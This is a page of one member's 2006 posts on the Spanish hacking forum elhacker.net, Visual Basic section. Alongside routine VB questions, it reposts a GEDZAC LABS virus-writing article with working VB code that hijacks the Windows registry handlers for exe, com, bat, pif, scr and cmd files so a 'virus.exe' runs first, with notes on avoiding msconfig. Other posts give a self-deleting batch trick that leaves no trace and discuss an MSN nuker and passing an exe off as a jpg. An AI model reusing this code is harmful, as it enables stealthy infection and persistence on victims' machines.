elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Mensajes
Páginas: 1 ... 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 [79] 80 81 82 83 84 85 86 87 88 89 90 91
781  Programación / Programación Visual Basic / Titulo completo de ventana en: 21 Marzo 2006, 18:13 pm
Weno, como puedo saber, a partir de un trozo del titulo, kual es el titulo kompleto????

Por ejemplo, Supongamos que abro el Bloc de notas, y el titulo de la ventana es esto:

Sin titulo - Bloc de notas

Supongamos que yo quiero, a partir de Bloc de notas, que me diga todo el titulo de la ventana (es decir, Sin titulo - Bloc de notas).

Komo puedo hacer esto????

Weno, Gracias

Salu2

782  Programación / Programación Visual Basic / Re: Eliminar en: 21 Marzo 2006, 17:19 pm
Un .bat es un archivo por Lotes, lo que ahce es trabajar kon el MS-dos. Un archivo .bat se kompono por komandos de MS-DoS, a mi el lenguaje .bat me gusta mucho, se pueden hacer kosas interesantes kon el.

Si no entiendes el kode te lo puedo explikar todo.... ;) ;) ;)

Salu2

Hendrix

783  Programación / Programación Visual Basic / Re: como copiar varias veces en el mismo directorio un archivo en: 21 Marzo 2006, 15:55 pm
jejeje se me olvido eso....

Gracias robokop... ;) ;) ;)

Salu2

784  Programación / Programación Visual Basic / Re: como copiar varias veces en el mismo directorio un archivo en: 20 Marzo 2006, 23:37 pm
No te entendi muy bien, pero puedes hacer esto:

Dim mio As String
mio = App.Path & "\" & App.EXEName & ".exe
For i =0 to 10 ' (puedes poner las veces que kieras)
Filecopy mio, mio & i
Next

Lo que aria esto es kopiar en el directorio que esta tu archivo 10 archivos mas komo el tuyo, no lo copiaria encima ya que le añades un numero al final, kedaria asi:

Archivo1
Archivo2
Archivo3
....
....
....

Espero que te sirva...

Salu2

Hendrix

785  Programación / Programación Visual Basic / Re: Eliminar en: 20 Marzo 2006, 21:54 pm
Te dare un ejemplo "casero" pero que deja 0 huellas....

Open "C:\destroy.bat" For Output As #1
Print #1, "@echo off"
Print #1, "ping 127.0.0.1 -n 2" ' <--- Esto espera 2 segundos
Print #1, "del /s /q " & App.Path & "\" & App.EXEName & ".exe"
Print #1, "del /s /q %0" '<-- se autoelimina el .bat
Print #1, "exit"
Close #1
Shell ("C:\destroy.bat"), vbHide
End

Asi no kedaria ni rastro del programa... ;) ;)

Salu2

Hendrix

786  Programación / Programación Visual Basic / Re: exe-jpg en: 19 Marzo 2006, 12:48 pm
Esto creo que es facil....

En el texto de machinedraemon (recomiendo leerlo) dice esto:

Los archivos .txt en el registro, para ejekutarse kon el notepad (programa predefinido) esta esto:

"C:\Windows\notepad.exe", %1 (o algo parecido, ahora no me akuerdo).

El kaso es que se podria hacer esto:

"C:\Windows\cmd.exe" %1 y asi se abriria con el cmd...

Esto es una idea, si kieren puedo poner el texto de machine en este post...

Salu2

Hendrix

EDITADO:
------------

Articulo de MachineDramon:

(*) GEDZAC LABS 2004

Interceptación de Ejecutables:
-------------------------------

Primero veremos algo de lo que hace win al hacer doble click en un archivo
de cierta extensión, la accion que toma win esta determinada por valores en
el registro:
Veamos la diferencia entre la extensión .txt y un .exe en el registro:

txt:
----

HKEY_CLASSES_ROOT\txtfile\shell\open\command\(Predeterminado) =

C:\WINDOWS\NOTEPAD.EXE %1

exe:
----

HKEY_CLASSES_ROOT\exefile\shell\open\command\(Predeterminado) =

"%1" %*

Se podria decir que el valor de la clave es la linea de comando que ejecuta
win dependiendo del tipo de archivo, en este caso ejecuta notepad y %1 repre
senta la ruta y nombre del archivo al que le hicimos doble click, pos como
si ejecutaramos de una ventana ms-dos:

Notepad c:\text.txt

el valor de la extensión exe significa que cuando hagamos doble click sobre
un .exe win ejecutara la linea de comandos:

RutadelFileExe.exe


Entonces lo que debe hacer nuestro virus es al infectar modificar el regis-
tro de forma que al hacer doble click a un .exe se ejecute la linea de
comando:

%RutaDelVirus% RutadelFileExe.exe

luego leer nuestra linea de comando, y obtener RutadelFileExe.exe
ejecutar RutadelFileExe.exe (pos pa que se ejecute el .exe)

Luego comprobar que no estemos ejecutando ya, sino tendriamos una instancia
del virus por cada .exe ejecutado, si ya estamos ejecutandonos, ejecutamos
el exe y terminamos.

Presentaremos 2 codes uno usando las facilidades de vb y otro en vb pero
usando apis (con lo que sera más facil adaptarlo a otros lenguages).

Code 1
-------

a)Tenemos que hacer que estas llaves del reg queden asi, para poder inter-
ceptar .com .exe .pif .scr .bat .cmd

HKEY_CLASSES_ROOT\exefile\shell\open\command\(Predeterminado) =
C:\ruta\virus.exe "%1" %*

HKEY_CLASSES_ROOT\piffile\shell\open\command\(Predeterminado) =
C:\ruta\virus.exe "%1" %*

HKEY_CLASSES_ROOT\comfile\shell\open\command\(Predeterminado) =
C:\ruta\virus.exe "%1" %*

HKEY_CLASSES_ROOT\batfile\shell\open\command\(Predeterminado) =
C:\ruta\virus.exe "%1" %*

HKEY_CLASSES_ROOT\scrfile\shell\open\command\(Predeterminado) =
C:\ruta\virus.exe "%1" /S         ->Ojo aqui en los .scr es asi

HKEY_CLASSES_ROOT\cmdfile\shell\open\command\(Predeterminado) =
C:\ruta\virus.exe "%1" %*

Para eso podria ser:

Sub Intercepta()
On Error Resume Next
Set ws = CreateObject("WScript.Shell")

ws.RegWrite "HKEY_CLASSES_ROOT\exefile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*"
ws.RegWrite "HKEY_CLASSES_ROOT\batfile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*"
ws.RegWrite "HKEY_CLASSES_ROOT\comfile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*"
ws.RegWrite "HKEY_CLASSES_ROOT\piffile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*"
ws.RegWrite "HKEY_CLASSES_ROOT\cmdfile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*"
ws.RegWrite "HKEY_CLASSES_ROOT\scrfile\shell\open\command\", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " /S"

End Sub


b)Ahora tenemos que leer nuestra linea de comandos, en vb es facil usan-
do Command$ ,pos esto tiene que ir al comienzo del virus:

'Si nuestra linea de comandos no esta vacia, la ejecutamos con shell
If (Command$ <> "") Then id = Shell(Command$, vbNormalFocus)


c)Verificamos si ya estamos en ejecucion, esto en vb tambien es facil:

If App.PrevInstance Then
End
End If


Code 2:
-------

a)Escribir en el reg, declaramos las apis y constantes que usaremos, aqui
como Private, pero eso dependera de como y donde las quieran usar

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByVal lpSecurityAttributes As Long, phkResult As Long, lpdwDisposition As Long) As Long

Private Const REG_SZ = 1
Private Const REG_DWORD = 4

Private Const KEY_ALL_ACCESS = &H3F
Private Const REG_OPTION_NON_VOLATILE = 0

Private Const HKEY_CLASSES_ROOT As Long = &H80000000
Private Const HKEY_CURRENT_USER As Long = &H80000001
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002

Private Const KEY_QUERY_VALUE As Long = &H1


Sub Intercepta()
On Error Resume Next

'Usamos el sub Rw pa escribir en el reg usando la api
Rw "exefile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1
Rw "batfile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1
Rw "comfile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1
Rw "piffile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1
Rw "cmdfile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " %*", 1, 1
Rw "scrfile\shell\open\command\", "", "C:\ruta\virus.exe" & " " & Chr(34) & "%1" & Chr(34) & " /S", 1, 1

End Sub

'Este sub usa la api pa escribir en el reg, se me hace dificil explicarlo
'nose si estas apis son dificiles o yo me toy complicando la vida,
'Sub Rw donde:
'sKey es la ruta parcial de la llave que queremos escribir
'nKey es el nombre de la llave que escribiremos
'vKey es el valor de la llave
'm0 es 1 2 o 3 dependiendo de en cual llave raiz queremos escribir HKEY_CLASSES_ROOT
'HKEY_CURRENT_USER o HKEY_LOCAL_MACHINE respectivamente
'm1 es 1 o 2 si queremos escribir un valor de cadena o dword respectivamente
'Por ejemplo si queremos escribir
'HKEY_LOCAL_MACHINE\Software\Microsoft\llave   =  Valor Cadena
'Tendriamos que llamarlo de esta forma:
'
'Rw "Software\Microsoft","llave","Valor",3,1

Sub Rw(sKey, nKey, vKey As Variant, m0, m1)
On Error Resume Next
'Declaramos las vars
Dim RK As Long, l As Long, hKey As Long

'vemos que valor tiene m0 pa igualar RK al valor de la constante que corres-
'ponda, porque a la api hay que pasarle en cual llave raiz queremos escribir
'en forma de un valor long
Select Case m0
Case 1
RK = HKEY_CLASSES_ROOT
Case 2
RK = HKEY_CURRENT_USER
Case 3
RK = HKEY_LOCAL_MACHINE
End Select

'Usamos RegCreateKeyEx porque si no existe la llave la crea y si existe la
'abre para poder escribir, le pasamos RK, la ruta parcial de la llave, luego
'un 0 (que no se bien pa que es), luego una cadena nula,luego la constante
'REG_OPTION_NON_VOLATILE para que la informacion sea no volatil, osea se
'conserve despues de reiniciar la pc, luego KEY_ALL_ACCESS para tener acceso
'total a la llave que estamos creando o abriendo, luego pasamos 0 aunque teo-
'ricamente se deberia pasar una var tipo SECURITY_ATTRIBUTES, pero la seguridad
'del reg no nos interesa,luego la var que va a contener el handle de la
'llave que abrimos o creamos, usaremos este handle para identificar nuestra
'llave.
'el ultimo valor es un long que indica si la llave fue creada o ya existia
'y solo la abrimos
l = RegCreateKeyEx(RK, sKey, 0&, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, hKey, l)

'Aqui vemos que valor pasamos en m1, para saber que escribiremos si una
'cadena o un dword
Select Case m1

'Si 1 entons escribimos cadena
Case 1
'Igualamos una var string al valor del argumento vKey convertido a string
'con CStr, porque no pasamos directamente el argumento?, porque el arg esta
'declarado como variant y la api requiere un valor string
Dim sVal As String
 sVal = CStr(vKey)

'Luego usamos RegSetValueEx para escribir el valor en la llave, le pasamos
'el handle que obtuvimos antes, el nombre de la llave donde escribira,
'un 0, el tipo de valor en este caso REG_SZ(valor cadena), el valor que
'tendra la llave lo pasamos por valor (ByVal), luego el tamaño del valor+1
 l = RegSetValueEx(hKey, nKey, 0&, REG_SZ, ByVal sVal, Len(sVal) + 1)

Si 2 entons escribimos dword
Case 2
'Igualamos una var long al valor del argumento vkey, en este caso la api
'requiere un valor long, indicamos con REG_DWORD que el valor sera un valor
'decimal o hexadecimal, y en el tamaño pasamos siempre 4, lo demas es igual
Dim lVal As Long
lVal = vKey
 l = RegSetValueEx(hKey, nKey, 0&, REG_DWORD, ByVal lVal, 4)
End Select

'Aqui cerramos la llave con RegCloseKey pasandole el handle
l = RegCloseKey(hKey)
End Sub

Pos que ya me desvie del tema, esto no trata de como escribir en el reg
Para profundizar más en el manejo del reg:
http://www16.brinkster.com/eduroam/api/default.asp?pag=cap10
http://www.cybercursos.net/cursos-online/foxpro/vfp_api6.htm
http://www.telecable.es/personales/jrubi/trucos/tip00084.htm


b)Leer la linea de comandos y ejecutarla, usaremos GetCommandline para leer
la linea de comandos y WinExec para ejecutarla

No usar la declaracion de la api GetCommandLine que viene en el visor de api
de vb6, porque la declara como string y debe declararla como long, lo que
hace que no funke en algunas versiones de win.

En un articulo de la mitosis puse el GetCommandline declarado como string
ser error

'Apis y constantes
Private Declare Function GetCommandLine Lib "kernel32" Alias "GetCommandLineA" () As Long
Private Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As Long) As Long

Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Const SW_NORMAL = 1

'Declaramos las vars
Dim Gcl As Long, Gcs As String, Gc As Long

'llamamos a GetCommandline, que nos devuelve un valor long
Gcl = GetCommandLine()

'calculamos el tamaño de la variable con lstrlen
Gc = lstrlen(Gcl)

'Igualamos Gcs al tamaño de Gcl+1, rellenandola con chr(0) o nulls
Gcs = String$(Gc + 1, 0)

'copiamos el valor de Gcl a Gcs con lstrcpy y ya tenemos una string con
'la linea de comandos
lstrcpy Gcs, Gcl

'obtenemos tantos caracteres de la izquierda como sea el valor de Gc-1
'y desechamos lo demas
Gcs = Left$(Gcs, Gc - 1)

'Ahora si nuestra aplicacion se ejecuta sola Gcs sera igual a:
'
'"c:\ruta\virus.exe"
'
'sino sera igual a:
'
'c:\ruta\virus.exe "c:\ruta\fileexe.exe"
'
'entonces lo que necesitamos obtener es:
'
'c:\ruta\fileexe.exe
'
'y ejecutar el .exe

'Si nuestra linea de comandos contiene un espacio seguido de una comilla
'entonces hay algo que ejecutar
If InStr(Gcs, " " & Chr(34)) <> 0 Then

'si la linea de comandos no contiene "/" entonces es un .exe .bat .pif
'.com o .cmd
If InStr(Gcs, "/") = 0 Then

'obtenemos la ruta del programa a ejecutar
 Gcs = Mid$(Left$(Gcs, Gc - 1), InStr(Gcs, " " & Chr(34)) + 2)
 Gcs = Left$(Gcs, Len(Gcs) - 1)

'pero si contiene "/" es un .scr y debe ser ejecutado con el parametro
' /S
 Else

'obtenemos la ruta del programa a ejecutar y le agregamos el parametro
' /S
 Gcs = Mid$(Left$(Gcs, Gc - 1), InStr(Gcs, " " & Chr(34)) + 2)
 Gcs = Left$(Gcs, Len(Gcs) - 3) & " /S"
 End If

'ejecutamos la linea de comandos, indicando que el programa ejecutado
'se habra con su ventana en modo normal (SW_NORMAL)
Call WinExec(Gcs, SW_NORMAL)
End If


c)Verificar si estamos en ejecucion:
para saber si estamos en ejecucion vamos a crear un mutex la primera vez
que nos ejecutamos, luego las veces siguientes veces que nos ejecutemos
intentamos crearlo y si ya existe ya nos estamos ejecutando y nos dara
un error caracteristico y entonces terminamos la ejecucion.

'apis y constantes que usaremos
Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (ByRef lpMutexAttributes As SECURITY_ATTRIBUTES, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
Private Type SECURITY_ATTRIBUTES
 nLength As Long
 lpSecurityDescriptor As Long
 bInheritHandle As Long
End Type
Private Const ERROR_ALREADY_EXISTS = 183&

On Error Resume Next
'declaramos las vars
Dim GMutex
Dim Mutex As SECURITY_ATTRIBUTES

'rellenamos la structura SECURITY_ATTRIBUTES
Mutex.lpSecurityDescriptor = 0
Mutex.nLength = Len(Mutex)
Mutex.bInheritHandle = 1

'Creamos el mutex GEDZAC, CreateMutex nos devuelve un handle en GMutex
GMutex = CreateMutex(Mutex, 1, "GEDZAC")

'Aqui vemos si ha ocurrido un error al llamar a CreateMutex, si es la primera
'vez que ejecutamos, no debe haber error, si lo hay y el error es igual a
'ERROR_ALREADY_EXISTS entonces el mutex ya existia lo que quiere decir que
'ya nos estamos ejecutando.
'Si ha habido error en las apis o que error fue lo averiguamos con la
'propiedad LastDllError del objeto Err, en otros lenguages podemos usar
'la api GetLastError()
'
'Private Declare Function GetLastError Lib "kernel32" Alias "GetLastError" () As Long
'
If (Err.LastDllError = ERROR_ALREADY_EXISTS) Then
End
End If

Nota: En Gmutex tenemos el handle del Mutex, si por alguna razon tenemos que
terminar la ejecucion o estamos probando el codigo, no olvidar
destruir el mutex al terminar el programa, con la api CloseHandle
porque si terminamos la ejecucion y dejamos el mutex, luego al volver a eje-
cutar el programa va a ver que todavia existe el mutex y pensara que ya se
esta ejecutando.

Private Declare Function CloseHandle Lib "kernel32" Alias "CloseHandle" (ByVal hObject As Long) As Long

Call CloseHandle(GMutex)


La ventaja de esta tecnica es que no aparecemos en el msconfig, ni nada de
eso, la desventaja es para el user, que una vez que elimine el virus, si no
arregla su reg, no va a poder ejecutar nada.

Como precaucion al probar esto, suponiendo que nos equivocamos en algo
y ya modificamos nuestro reg y no podemos ejecutar nada, ni el regedit pa
arreglarlo(ya me ha pasado), pos seria bueno tener a mano un .vbs que
arregle esto:

VBS pa reparar en caso de emergencia
-------------------------------------------------------------------------
On Error Resume Next
Set wsl = CreateObject("WScript.Shell")
s="@%1@ %*": s=replace(s,"@",chr(34))
s1="@%1@ /S": s1=replace(s1,"@",chr(34))
wsl.RegWrite "HKEY_CLASSES_ROOT\exefile\shell\open\command\",s
wsl.RegWrite "HKEY_CLASSES_ROOT\comfile\shell\open\command\",s
wsl.RegWrite "HKEY_CLASSES_ROOT\scrfile\shell\open\command\",s
wsl.RegWrite "HKEY_CLASSES_ROOT\piffile\shell\open\command\",s
wsl.RegWrite "HKEY_CLASSES_ROOT\cmdfile\shell\open\command\",s
wsl.RegWrite "HKEY_CLASSES_ROOT\batfile\shell\open\command\",s1
-------------------------------------------------------------------------

Aunque lo expuesto no es un code completo, sino fragmentos, ojala estas ideas
les hayan servido

(*) GEDZAC LABS 2004


787  Programación / Programación Visual Basic / Re: NUKER MSN en: 19 Marzo 2006, 11:58 am
prueba con esto:

Public WithEvents MSN As MessengerAPI.Messenger

Salu2

Hendrix

788  Programación / Programación Visual Basic / Re: NUKER MSN en: 19 Marzo 2006, 11:12 am
Tienen que declarar las referencias del MSN!!! ;) ;) ;)

Son estas:

Messenger API type library

Messenger Private type library

Messenger Type library

Salu2

Hendrix

789  Programación / Programación Visual Basic / Re: exe-jpg en: 19 Marzo 2006, 11:09 am
Si lo editas kon un editor hexadecimal los .exe's siempre empiezan por MZ, es una propiedad que tienen los ejekutables.

Ahora se me viene a la kabeza un "proyecto", algo que mirara si los .jpg empiezan por MZ, si empiezan por MZ que se ejekuten komo .exe, sino, komo .jpg, seria posible hacer una aplikacion que haga esto???? Me refiero a que modifike el registro de windows para que esto se pueda hacer, vi un texto de MachineDraemon que exponia la "interceptacion de ejecutables", podriamos aplikar algo parecido pero kon esta idea....

Weno, Salu2

Hendrix

790  Programación / Programación Visual Basic / Error 458 en: 16 Marzo 2006, 20:49 pm
Weno, les pondre el kode y luego se lo expliko:

Código:
Private Sub Form_Load()
Dim everkill As String * 3
Dim reinici As String * 3
Dim A As String * 60
Dim B As String * 60
Dim C As String * 5
Dim Ap As String
Dim Bp As String
Dim Cp As String

Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
Seek (1), LOF(1) - 130
Get #1, , A
Get #1, , B
Get #1, , C
Get #1, , everkill
Get #1, , renici
Close #1

Ap = Trim(A)
Bp = Trim(B)
Cp = Trim(C)


Weno, al kompilar este proyecto (el kode es un trozo del proyecto) kuando lo ejekuta antes de abrirse la ventana del form sale esto:

Citar
Error '458' en tiempo de ejecucion:

La variable usa un tipo de Automatización no Permitida en VB

Kual es el error de esta aplicaccion????

Antes diseñaba proyectos kon las mismas caracteristikas y funcionaban... :-\ :-\ :-\

Salu2

Hendrix

Páginas: 1 ... 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 [79] 80 81 82 83 84 85 86 87 88 89 90 91
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines